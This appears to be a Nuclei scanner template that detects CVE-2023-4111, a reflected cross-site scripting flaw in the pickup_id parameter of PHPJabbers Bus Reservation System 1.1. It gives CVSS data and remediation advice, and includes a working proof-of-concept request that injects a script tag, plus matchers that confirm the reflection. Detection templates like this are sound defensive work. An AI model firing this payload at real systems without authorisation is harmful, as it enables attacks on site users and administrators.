id: CVE-2023-4111

info:
  name: PHPJabbers Bus Reservation System 1.1 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A vulnerability was found in PHP Jabbers Bus Reservation System 1.1 and classified as problematic. Affected by this issue is some unknown functionality of the file /index.php. The manipulation of the argument index/pickup_id leads to cross site scripting. The attack may be launched remotely.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the pickup_id parameter in index.php, potentially stealing session tokens or credentials of bus reservation system administrators and customers.
  remediation: |
    Update PHPJabbers Bus Reservation System to a version newer than 1.1 that properly sanitizes the pickup_id parameter in index.php.
  reference:
    - https://vuldb.com/?id.235958
    - https://packetstormsecurity.com/files/173927/PHPJabbers-Bus-Reservation-System-1.1-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4111
    - https://vuldb.com/?ctiid.235958
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4111
    cwe-id: CWE-79
    epss-score: 0.02499
    epss-percentile: 0.83099
    cpe: cpe:2.3:a:phpjabbers:bus_reservation_system:1.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: phpjabbers
    product: bus_reservation_system
  tags: cve2023,cve,packetstorm,xss,phpjabber,jabber,phpjabbers,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?controller=pjFrontEnd&action=pjActionGetLocations&locale=1&hide=0&index=4005&pickup_id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&cid=1&view=1&month=7&year=2023&start_dt=&end_dt=&locale=&index=0&session_id="

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "You have an error in your SQL syntax", "><script>alert(document.domain)</script>")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502201eba82991b03b4823213e7b2dbe7bdd5301ac7a3cda5763650a2f34c62ab575c022100b9169db8ca4a367f00b201cce19be98e758eb3151c5630f019d30d3d64cf89e0:922c64590222798bb761d5b6d8e72950